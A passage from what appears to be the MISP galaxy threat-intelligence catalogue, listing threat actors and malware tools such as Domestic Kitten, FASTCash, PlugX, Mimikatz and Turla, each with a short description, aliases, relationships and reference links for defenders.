An extensive surveillance operation targets specific groups of individuals with malicious mobile apps that collect sensitive information on the device along with surrounding voice recordings. Researchers with CheckPoint discovered the attack and named it Domestic Kitten. The targets are Kurdish and Turkish natives, and ISIS supporters, all Iranian citizens.

The tag is: *misp-galaxy:threat-actor="Domestic Kitten"*

Table 3869. Table References

Links
https://www.bleepingcomputer.com/news/security/domestic-kitten-apt-operates-in-silence-since-2016/

FASTCash

Treasury has identified a sophisticated cyber-enabled ATM cash out campaign we are calling FASTCash. FASTCash has been active since late 2016 targeting banks in Africa and Asia to remotely compromise payment switch application servers within banks to facilitate fraudulent transactions, primarily involving ATMs, to steal cash equivalent to tens of millions of dollars. FBI has attributed malware used in this campaign to the North Korean government. We expect FASTCash to continue targeting retail payment systems vulnerable to remote exploitation.

The tag is: *misp-galaxy:threat-actor="FASTCash"*

Roaming Mantis

According to new research by Kaspersky's GReAT team, the online criminal activities of the Roaming Mantis Group have continued to evolve since they were first discovered in April 2018. As part of their activities, this group hacks into exploitable routers and changes their DNS configuration. This allows the attackers to redirect the router user's traffic to malicious Android apps disguised as Facebook and Chrome or to Apple phishing pages that were used to steal Apple ID credentials. Recently, Kaspersky has discovered that this group is testing a new monetization scheme by redirecting iOS users to pages that contain the Coinhive in-browser mining script rather than the normal Apple phishing page. When users are redirected to these pages, they will be shown a blank page in the browser, but their CPU utilization will jump to 90% or higher.

The tag is: *misp-galaxy:threat-actor="Roaming Mantis"*

Roaming Mantis is also known as:

- Roaming Mantis Group

Table 3870. Table References

Links
https://www.bleepingcomputer.com/news/security/roaming-mantis-group-testing-coinhive-miner-redirects-on-iphones/

GreyEnergy

ESET research reveals a successor to the infamous BlackEnergy APT group targeting critical infrastructure, quite possibly in preparation for damaging attacks

The tag is: *misp-galaxy:threat-actor="GreyEnergy"*

GreyEnergy has relationships with:

- similar: misp-galaxy:threat-actor="Sandworm" with estimative-language:likelihood-probability="likely"

Table 3871. Table References

Links
https://www.eset.com/int/greyenergy-exposed/
https://www.welivesecurity.com/2018/10/17/greyenergy-updated-arsenal-dangerous-threat-actors/

The Shadow Brokers

The Shadow Brokers (TSB) is a hacker group who first appeared in the summer of 2016. They published several leaks containing hacking tools from the National Security Agency (NSA, including several zero-day exploits.[1] Specifically, these exploits and vulnerabilities targeted enterprise firewalls, antivirus software, and Microsoft products. The Shadow Brokers originally attributed the leaks to the Equation Group threat actor, who have been tied to the NSA’s Tailored Access Operations unit.

The tag is: *misp-galaxy:threat-actor="The Shadow Brokers"*

The Shadow Brokers is also known as:

- The ShadowBrokers
- TSB
- Shadow Brokers
- ShadowBrokers

Table 3872. Table References

Links
https://en.wikipedia.org/wiki/The_Shadow_Brokers
https://securelist.com/darkpulsar/88199/

EvilTraffic

Malware experts at CSE Cybsec uncovered a massive malvertising campaign dubbed EvilTraffic leveraging tens of thousands compromised websites. Crooks exploited some CMS vulnerabilities to upload and execute arbitrary PHP pages used to generate revenues via advertising.

The tag is: *misp-galaxy:threat-actor="EvilTraffic"*

EvilTraffic is also known as:

- Operation EvilTraffic

Table 3873. Table References

Links
http://securityaffairs.co/wordpress/68059/cyber-crime/eviltraffic-malvertising-campaign.html
http://csecybsec.com/download/zlab/20180121_CSE_Massive_Malvertising_Report.pdf

HookAds

HookAds is a malvertising campaign that purchases cheap ad space on low quality ad networks commonly used by adult web sites, online games, or blackhat seo sites. These ads will include JavaScript that redirects a visitor through a serious of decoy sites that look like pages filled with native advertisements, online games, or other low quality pages. Under the right circumstances, a visitor will silently load the Fallout exploit kit, which will try and install its malware payload.

The tag is: *misp-galaxy:threat-actor="HookAds"*

Table 3874. Table References

Links
https://www.bleepingcomputer.com/news/security/hookads-malvertising-installing-malware-via-the-fallout-exploit-kit/

INDRIK SPIDER

INDRIK SPIDER is a sophisticated eCrime group that has been operating Dridex since June 2014. In 2015 and 2016, Dridex was one of the most prolific eCrime banking trojans on the market and, since 2014, those efforts are thought to have netted INDRIK SPIDER millions of dollars in criminal profits. Throughout its years of operation, Dridex has received multiple updates with new modules developed and new anti-analysis features added to the malware.

The tag is: *misp-galaxy:threat-actor="INDRIK SPIDER"*

Table 3875. Table References

Links
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/

DNSpionage

Cisco Talos recently discovered a new campaign targeting Lebanon and the United Arab Emirates (UAE) affecting .gov domains, as well as a private Lebanese airline company. Based on our research, it’s clear that this adversary spent time understanding the victims' network infrastructure in order to remain under the radar and act as inconspicuous as possible during their attacks. Based on this actor’s infrastructure and TTPs, we haven’t been able to connect them with any other campaign or actor that’s been observed recently. This particular campaign utilizes two fake, malicious websites containing job postings that are used to compromise targets via malicious Microsoft Office documents with embedded macros. The malware utilized by this actor, which we are calling "DNSpionage," supports HTTP and DNS communication with the attackers. In a separate campaign, the attackers used the same IP to redirect the DNS of legitimate .gov and private company domains. During each DNS compromise, the actor carefully generated Let’s Encrypt certificates for the redirected domains. These certificates provide X.509 certificates for TLS free of charge to the user. We don’t know at this time if the DNS redirections were successful. In this post, we will break down the attackers' methods and show how they used malicious documents to attempt to trick users into opening malicious websites that are disguised as "help wanted" sites for job seekers. Additionally, we will describe the malicious DNS redirection and the timeline of the events.

The tag is: *misp-galaxy:threat-actor="DNSpionage"*

Table 3876. Table References

Links
https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html

DarkVishnya

Dubbed DarkVishnya, the attacks targeted at least eight banks using readily-available gear such as netbooks or inexpensive laptops, Raspberry Pi mini-computers, or a Bash Bunny - a USB-sized piece hardware for penetration testing purposes that can pose as a keyboard, flash storage, network adapter, or as any serial device.

The tag is: *misp-galaxy:threat-actor="DarkVishnya"*

Table 3877. Table References

Links
https://www.bleepingcomputer.com/news/security/netbooks-rpis-and-bash-bunny-gear-attacking-banks-from-the-inside/

Operation Poison Needles

What’s noteworthy is that according to the introduction on the compromised website of the polyclinic (http://www.p2f.ru), the institution was established in 1965 and it was founded by the Presidential Administration of Russia. The multidisciplinary outpatient institution mainly serves the civil servants of the highest executive, legislative, judicial authorities of the Russian Federation, as well as famous figures of science and art. Since it is the first detection of this APT attack by 360 Security on a global scale, we code-named it as “Operation Poison Needles”, considering that the target was a medical institution. Currently, the attribution of the attacker is still under investigation. However, the special background of the polyclinic and the sensitiveness of the group it served both indicate the attack is highly targeted. Simultaneously, the attack occurred at a very sensitive timing of the Kerch Strait Incident, so it also aroused the assumption on the political attribution of the attack.

The tag is: *misp-galaxy:threat-actor="Operation Poison Needles"*

Table 3878. Table References

Links
http://blogs.360.cn/post/PoisonNeedles_CVE-2018-15982_EN

GC01

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).

The tag is: *misp-galaxy:threat-actor="GC01"*

GC01 is also known as:

- Golden Chickens
- Golden Chickens01
- Golden Chickens 01

GC01 has relationships with:

- similar: misp-galaxy:threat-actor="GC02" with estimative-language:likelihood-probability="likely"

Table 3879. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

GC02

From November 2017 to October 2018, we attributed 14 campaigns to the GC threat actors that used a specific MaaS provider (hereinafter “the Provider”) offered by a known individual (hereinafter “the Provider Operator”).

The tag is: *misp-galaxy:threat-actor="GC02"*

GC02 is also known as:

- Golden Chickens
- Golden Chickens02
- Golden Chickens 02

GC02 has relationships with:

- similar: misp-galaxy:threat-actor="GC01" with estimative-language:likelihood-probability="likely"

Table 3880. Table References

Links
https://medium.com/@quoscient/golden-chickens-uncovering-a-malware-as-a-service-maas-provider-and-two-new-threat-actors-using-61cf0cb87648

Operation Sharpshooter

The McAfee Advanced Threat Research team and McAfee Labs Malware Operations Group have discovered a new global campaign targeting nuclear, defense, energy, and financial companies, based on McAfee® Global Threat Intelligence. This campaign, Operation Sharpshooter, leverages an in-memory implant to download and retrieve a second-stage implant—which we call Rising Sun—for further exploitation. According to our analysis, the Rising Sun implant uses source code from the Lazarus Group’s 2015 backdoor Trojan Duuzer in a new framework to infiltrate these key industries. Operation Sharpshooter’s numerous technical links to the Lazarus Group seem too obvious to immediately draw the conclusion that they are responsible for the attacks, and instead indicate a potential for false flags. Our research focuses on how this actor operates, the global impact, and how to detect the attack. We shall leave attribution to the broader security community.

The tag is: *misp-galaxy:threat-actor="Operation Sharpshooter"*

Table 3881. Table References

Links
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/operation-sharpshooter-targets-global-defense-critical-infrastructure/

Tool

threat-actor-tools is an enumeration of tools used by adversaries. The list includes malware but also common software regularly used by the adversaries..

Tool is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Alexandre Dulaunoy - Florian Roth - Timo Steffens - Christophe Vandeplas - Dennis Rand - raw-data

Tinba

Banking Malware

The tag is: *misp-galaxy:tool="Tinba"*

Tinba is also known as:

- Hunter
- Zusy
- TinyBanker

Tinba has relationships with:

- similar: misp-galaxy:exploit-kit="Hunter" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Tinba" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"

Table 3882. Table References

Links

https://thehackernews.com/search/label/Zusy%20Malware
http://blog.trendmicro.com/trendlabs-security-intelligence/the-tinbatinybanker-malware/

PlugX

Malware

The tag is: *misp-galaxy:tool="PlugX"*

PlugX is also known as:

- Backdoor.FSZO-5117
- Trojan.Heur.JP.juW@ayZZvMb
- Trojan.Inject1.6386
- Korplug
- Agent.dhwf

PlugX has relationships with:

- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="PlugX - S0013" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"

Table 3883. Table References

Links
https://www.trendmicro.com/vinfo/us/threat-encyclopedia/web-attack/112/pulling-the-plug-on-plugx

MSUpdater

```
Trojan (RAT) linked to current targeted attacks and others dating back to at least
early 2009
```

The tag is: *misp-galaxy:tool="MSUpdater"*

Table 3884. Table References

Links
https://www.zscaler.com/pdf/whitepapers/msupdater_trojan_whitepaper.pdfx

Lazagne

A password sthealing tool regularly used by attackers

The tag is: *misp-galaxy:tool="Lazagne"*

Table 3885. Table References

Links
https://github.com/AlessandroZ/LaZagne

Poison Ivy

Poison Ivy is a RAT which was freely available and first released in 2005.

The tag is: *misp-galaxy:tool="Poison Ivy"*

Poison Ivy is also known as:

- Backdoor.Win32.PoisonIvy
- Gen:Trojan.Heur.PT

Poison Ivy has relationships with:

- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="PoisonIvy - S0012" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"

Table 3886. Table References

Links
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.f-secure.com/v-descs/backdoor_w32_poisonivy.shtml

SPIVY

In March 2016, Unit 42 observed this new Poison Ivy variant we’ve named SPIVY being deployed via weaponized documents leveraging CVE-2015-2545.

The tag is: *misp-galaxy:tool="SPIVY"*

Table 3887. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/04/unit42-new-poison-ivy-rat-variant-targets-hong-kong-pro-democracy-activists/

Torn RAT

The tag is: *misp-galaxy:tool="Torn RAT"*

Torn RAT is also known as:

- Anchor Panda

Table 3888. Table References

Links
https://www.crowdstrike.com/blog/whois-anchor-panda/

OzoneRAT

The tag is: *misp-galaxy:tool="OzoneRAT"*

OzoneRAT is also known as:

- Ozone RAT
- ozonercp

Table 3889. Table References

Links
https://blog.fortinet.com/2016/08/29/german-speakers-targeted-by-spam-leading-to-ozone-rat

ZeGhost

ZeGhots is a RAT which was freely available and first released in 2014.

The tag is: *misp-galaxy:tool="ZeGhost"*

ZeGhost is also known as:

- BackDoor-FBZT!52D84425CDF2
- Trojan.Win32.Staser.ytq
- Win32/Zegost.BW

Table 3890. Table References

Links
https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Backdoor%3aWin32%2fZegost.BW

Elise Backdoor

Trojan (RAT) linked to current targeted attacks and others dating back to at least early 2009

The tag is: *misp-galaxy:tool="Elise Backdoor"*

Elise Backdoor is also known as:

- Elise

Elise Backdoor has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Elise - S0081" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Elise" with estimative-language:likelihood-probability="likely"

Table 3891. Table References

Links
http://thehackernews.com/2015/08/elise-malware-hacking.html

Trojan.Laziok

A new information stealer, Trojan.Laziok, acts as a reconnaissance tool allowing attackers to gather information and tailor their attack methods for each compromised computer.

The tag is: *misp-galaxy:tool="Trojan.Laziok"*

Trojan.Laziok is also known as:

- Laziok

Trojan.Laziok has relationships with:

- similar: misp-galaxy:malpedia="Laziok" with estimative-language:likelihood-probability="likely"

Table 3892. Table References

Links
http://www.symantec.com/connect/blogs/new-reconnaissance-threat-trojanlaziok-targets-energy-sector

Slempo

Android-based malware

The tag is: *misp-galaxy:tool="Slempo"*

Slempo is also known as:

- GM-Bot
- SlemBunk
- Bankosy

- Acecard

Slempo has relationships with:

- similar: misp-galaxy:android="GM Bot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Bankosy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Slempo" with estimative-language:likelihood-probability="likely"

Table 3893. Table References

Links
https://securityintelligence.com/android-malware-about-to-get-worse-gm-bot-source-code-leaked/

PWOBot

We have discovered a malware family named ‘PWOBot’ that is fairly unique because it is written entirely in Python, and compiled via PyInstaller to generate a Microsoft Windows executable. The malware has been witnessed affecting a number of Europe-based organizations, particularly in Poland. Additionally, the malware is delivered via a popular Polish file-sharing web service.

The tag is: *misp-galaxy:tool="PWOBot"*

PWOBot is also known as:

- PWOLauncher
- PWOHTTPD
- PWOKeyLogger
- PWOMiner
- PWOPyExec
- PWOQuery

Table 3894. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/04/unit42-python-based-pwobot-targets-european-organizations/

Lost Door RAT

We recently came across a cyber attack that used a remote access Trojan (RAT) called Lost Door, a tool currently offered on social media sites. What also struck us the most about this RAT (detected as BKDR_LODORAT.A) is how it abuses the Port Forward feature in routers.

The tag is: *misp-galaxy:tool="Lost Door RAT"*

Lost Door RAT is also known as:

- LostDoor RAT
- BKDR_LODORAT

Table 3895. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/

njRAT

The tag is: *misp-galaxy:tool="njRAT"*

njRAT is also known as:

- Bladabindi
- Jorik

njRAT has relationships with:

- similar: misp-galaxy:malpedia="NjRAT" with estimative-language:likelihood-probability="likely"

Table 3896. Table References

Links
http://www.fidelissecurity.com/files/files/FTA_1009-njRAT_Uncovered_rev2.pdf
https://github.com/kevthehermit/RATDecoders/blob/master/yaraRules/njRat.yar

NanoCoreRAT

The tag is: *misp-galaxy:tool="NanoCoreRAT"*

NanoCoreRAT is also known as:

- NanoCore
- Nancrat
- Zurten
- Atros2.CKPN

NanoCoreRAT has relationships with:

- similar: misp-galaxy:rat="NanoCore" with estimative-language:likelihood-probability="likely"

Table 3897. Table References

Links

http://www.symantec.com/connect/blogs/nanocore-another-rat-tries-make-it-out-gutter
https://nanocore.io/

Sakula

The tag is: *misp-galaxy:tool="Sakula"*

Sakula is also known as:

- Sakurel

Sakula has relationships with:

- similar: misp-galaxy:rat="Sakula" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="Sakula - S0074" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sakula RAT" with estimative-language:likelihood-probability="likely"

Table 3898. Table References

Links
https://www.secureworks.com/research/sakula-malware-family

Hi-ZOR

The tag is: *misp-galaxy:tool="Hi-ZOR"*

Table 3899. Table References

Links
http://www.threatgeek.com/2016/01/introducing-hi-zor-rat.html

Derusbi

The tag is: *misp-galaxy:tool="Derusbi"*

Derusbi is also known as:

- TROJ_DLLSERV.BE

Derusbi has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Derusbi - S0021" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Derusbi" with estimative-language:likelihood-probability="likely"

Table 3900. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Derusbi.pdf
https://www.rsaconference.com/writable/presentations/file_upload/hta-w02-dissecting-derusbi.pdf

EvilGrab

The tag is: *misp-galaxy:tool="EvilGrab"*

EvilGrab is also known as:

- BKDR_HGDER
- BKDR_EVILOGE
- BKDR_NVICM
- Wmonder

EvilGrab has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="EvilGrab - S0152" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="EvilGrab" with estimative-language:likelihood-probability="likely"

Table 3901. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/evilgrab-malware-family-used-in-targeted-attacks-in-asia/
http://researchcenter.paloaltonetworks.com/2015/06/evilgrab-delivered-by-watering-hole-attack-on-president-of-myanmars-website/

Trojan.Naid

The tag is: *misp-galaxy:tool="Trojan.Naid"*

Trojan.Naid is also known as:

- Naid
- Mdmbot.E
- AGENT.GUNZ
- AGENT.AQUP.DROPPER
- AGENT.BMZA
- MCRAT.A
- AGENT.ABQMR

Trojan.Naid has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Naid - S0205" with estimative-language:likelihood-probability="likely"

Table 3902. Table References

Links
https://www.symantec.com/connect/blogs/cve-2012-1875-exploited-wild-part-1-trojannaid
http://telussecuritylabs.com/threats/show/TSL20120614-05

Moudoor

Backdoor.Moudoor, a customized version of Gh0st RAT

The tag is: *misp-galaxy:tool="Moudoor"*

Moudoor is also known as:

- SCAR
- KillProc.14145

Table 3903. Table References

Links
http://www.darkreading.com/attacks-breaches/elite-chinese-cyberspy-group-behind-bit9-hack/d/d-id/1140495
https://securityledger.com/2013/09/apt-for-hire-symantec-outs-hidden-lynx-hacking-crew/

NetTraveler

APT that infected hundreds of high profile victims in more than 40 countries. Known targets of NetTraveler include Tibetan/Uyghur activists, oil industry companies, scientific research centers and institutes, universities, private companies, governments and governmental institutions, embassies and military contractors.

The tag is: *misp-galaxy:tool="NetTraveler"*

NetTraveler is also known as:

- TravNet
- Netfile

NetTraveler has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="NetTraveler - S0033" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="NetTraveler" with estimative-language:likelihood-

probability="likely"

Table 3904. Table References

Links
https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/

Winnti

APT used As part of Operation SMN, Novetta analyzed recent versions of the Winnti malware. The samples, compiled from mid- to late 2014, exhibited minimal functional changes over the previous generations Kaspersky reported in 2013.

The tag is: *misp-galaxy:tool="Winnti"*

Winnti is also known as:

- Etso
- SUQ
- Agent.ALQHI

Winnti has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Winnti - S0141" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Winnti" with estimative-language:likelihood-probability="likely"

Table 3905. Table References

Links
https://securelist.com/blog/incidents/57455/nettraveler-is-back-the-red-star-apt-returns-with-new-tricks/
https://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/winnti-more-than-just-a-game-130410.pdf

Mimikatz

Ease Credential stealh and replay, A little tool to play with Windows security.

The tag is: *misp-galaxy:tool="Mimikatz"*

Mimikatz is also known as:

- Mikatz

Mimikatz has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="likely"

Table 3906. Table References

Links
https://github.com/gentilkiwi/mimikatz
https://researchcenter.paloaltonetworks.com/2017/07/unit42-twoface-webshell-persistent-access-point-lateral-movement/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

WEBC2

Backdoor attribued to APT1

The tag is: *misp-galaxy:tool="WEBC2"*

WEBC2 has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="WEBC2 - S0109" with estimative-language:likelihood-probability="likely"

Table 3907. Table References

Links
https://github.com/gnaegle/cse4990-practical3
https://www.securestate.com/blog/2013/02/20/apt-if-it-aint-broke

Pirpi

Symantec has observed Buckeye activity dating back to 2009, involving attacks on various organizations in several regions. Buckeye used a remote access Trojan (Backdoor.Pirpi) in attacks against a US organization’s network in 2009. The group delivered Backdoor.Pirpi through malicious attachments or links in convincing spear-phishing emails.

The tag is: *misp-galaxy:tool="Pirpi"*

Pirpi is also known as:

- Badey
- EXL

Pirpi has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="SHOTPUT - S0063" with estimative-language:likelihood-probability="likely"

Table 3908. Table References

Links
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong

RARSTONE

RARSTONE is a Remote Access Tool (RAT) discovered early 2013 by TrendMicro, it’s characterized by a great affinity with the other RAT know as Plug is and was used in April for phishing campaigns that followed the dramatic attack to the Boston Marathon.

The tag is: *misp-galaxy:tool="RARSTONE"*

RARSTONE has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="RARSTONE - S0055" with estimative-language:likelihood-probability="likely"

Table 3909. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/bkdr_rarstone-new-rat-to-watch-out-for/

Backspace

Backspace is a Backdoor that targets the Windows platform. This malware is reportedly associated with targeted attacks against Association of Southeast Asian Nations (ASEAN) members (APT30).

The tag is: *misp-galaxy:tool="Backspace"*

Backspace is also known as:

- Lecna

Backspace has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="BACKSPACE - S0031" with estimative-language:likelihood-probability="likely"

Table 3910. Table References

Links
https://www2.fireeye.com/WEB-2015RPTAPT30.html
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-southeast-asia-threat-landscape.pdf

XSControl

Backdoor user by he Naikon APT group

The tag is: *misp-galaxy:tool="XSControl"*

Table 3911. Table References

Links
https://securelist.com/analysis/publications/69953/the-naikon-apt/
https://kasperskycontenthub.com/securelist/files/2015/05/TheNaikonAPT-MsnMM.pdf

Neteagle

NETEAGLE is a backdoor developed by APT30 with compile dates as early as 2008. It has two main variants known as Scout and Norton.

The tag is: *misp-galaxy:tool="Neteagle"*

Neteagle is also known as:

- scout
- norton

Table 3912. Table References

Links
https://attack.mitre.org/wiki/Software/S0034
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Agent.BTZ

In November 2014, the experts of the G DATA SecurityLabs published an article about ComRAT, the Agent.BTZ successor. We explained that this case is linked to the Uroburos rootkit.

The tag is: *misp-galaxy:tool="Agent.BTZ"*

Agent.BTZ is also known as:

- ComRat

Agent.BTZ has relationships with:

- similar: misp-galaxy:rat="ComRAT" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 3913. Table References

Links
https://blog.gdatasoftware.com/2015/01/23927-evolution-of-sophisticated-spyware-from-agent-btz-to-comrat

Heseber BOT

RAT bundle with standard VNC (to avoid/limit A/V detection).

The tag is: *misp-galaxy:tool="Heseber BOT"*

Agent.dne

The tag is: *misp-galaxy:tool="Agent.dne"*

Wipbot

Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and Epic Turla)

The tag is: *misp-galaxy:tool="Wipbot"*

Wipbot is also known as:

- Tavdig
- Epic Turla
- WorldCupSec
- TadjMakhal

Wipbot has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Epic - S0091" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Wipbot" with estimative-language:likelihood-probability="likely"

Table 3914. Table References

Links
https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf

Turla

Family of related sophisticated backdoor software - Name comes from Microsoft detection signature – anagram of Ultra (Ultra3) was a name of the fake driver). A macOS version exists but appears incomplete and lacking features...for now!

The tag is: *misp-galaxy:tool="Turla"*

Turla is also known as:

- Snake
- Uroburos
- Urouros

Turla has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Uroburos - S0022" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Uroburos" with estimative-language:likelihood-probability="likely"

Table 3915. Table References

Links
https://www.first.org/resources/papers/tbilisi2014/turla-operations_and_development.pdf
https://objective-see.com/blog/blog_0x25.html#Snake

Winexe

The tag is: *misp-galaxy:tool="Winexe"*

Winexe has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-tool="Winexe - S0191" with estimative-language:likelihood-probability="likely"

Dark Comet

RAT initialy identified in 2011 and still actively used.

The tag is: *misp-galaxy:tool="Dark Comet"*

Dark Comet has relationships with:

- similar: misp-galaxy:rat="DarkComet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="DarkComet" with estimative-language:likelihood-probability="likely"

Cadelspy

The tag is: *misp-galaxy:tool="Cadelspy"*

Cadelspy is also known as:

- WinSpy

CMStar

The tag is: *misp-galaxy:tool="CMStar"*

Table 3916. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/03/digital-quartermaster-scenario-demonstrated-in-attacks-against-the-mongolian-government/

DHS2015

The tag is: *misp-galaxy:tool="DHS2015"*

DHS2015 is also known as:

- iRAT

Table 3917. Table References

Links
https://securelist.com/files/2015/02/The-Desert-Falcons-targeted-attacks.pdf

Gh0st Rat

Gh0st Rat is a well-known Chinese remote access trojan which was originally made by C.Rufus Security Team several years ago.

The tag is: *misp-galaxy:tool="Gh0st Rat"*

Gh0st Rat is also known as:

- Gh0stRat, GhostRat

Table 3918. Table References

Links
http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf

Fakem RAT

Fakem RAT makes their network traffic look like well-known protocols (e.g. Messenger traffic, HTML pages).

The tag is: *misp-galaxy:tool="Fakem RAT"*

Fakem RAT is also known as:

- FAKEM

Fakem RAT has relationships with:

- similar: misp-galaxy:malpedia="Terminator RAT" with estimative-language:likelihood-probability="likely"

Table 3919. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf

MFC Huner

The tag is: *misp-galaxy:tool="MFC Huner"*

MFC Huner is also known as:

- Hupigon
- BKDR_HUPIGON

Table 3920. Table References

Links
http://blog.trendmicro.com/trendlabs-security-intelligence/japan-us-defense-industries-among-targeted-entities-in-latest-attack/

Blackshades

Blackshades Remote Access Tool targets Microsoft Windows operating systems. Authors were arrested in 2012 and 2014.

The tag is: *misp-galaxy:tool="Blackshades"*

Blackshades has relationships with:

- similar: misp-galaxy:rat="Blackshades" with estimative-language:likelihood-probability="likely"

Table 3921. Table References

Links
https://www.justice.gov/usao-sdny/pr/manhattan-us-attorney-and-fbi-assistant-director-charge-announce-charges-connection
https://blog.malwarebytes.org/intelligence/2012/06/you-dirty-rat-part-2-blackshades-net/

CHOPSTICK

backdoor used by apt28

The tag is: *misp-galaxy:tool="CHOPSTICK"*

CHOPSTICK is also known as:

- webhp
- SPLM
- (.v2 fysbis)

CHOPSTICK has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="CHOPSTICK - S0023" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-mobile-attack-malware="X-Agent - MOB-S0030" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="X-Agent" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="X-Agent" with estimative-language:likelihood-probability="likely"

Table 3922. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

EVILTOSS

backdoor used by apt28

Sedreco serves as a spying backdoor; its functionalities can be extended with dynamically loaded plugins. It is made up of two distinct components: a dropper and the persistent payload installed by this dropper. We have not seen this component since April 2016.

The tag is: *misp-galaxy:tool="EVILTOSS"*

EVILTOSS is also known as:

- Sedreco
- AZZY
- ADVSTORESHELL
- NETUI

EVILTOSS has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="ADVSTORESHELL - S0045" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="Sedreco" with estimative-language:likelihood-probability="likely"

Table 3923. Table References

Links
https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf

GAMEFISH

backdoor

The tag is: *misp-galaxy:tool="GAMEFISH"*

GAMEFISH is also known as:

- Sednit
- Seduploader
- JHUHUGIT
- Sofacy

GAMEFISH has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="JHUHUGIT - S0044" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Sofacy" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="Komplex - S0162" with estimative-language:likelihood-probability="likely"
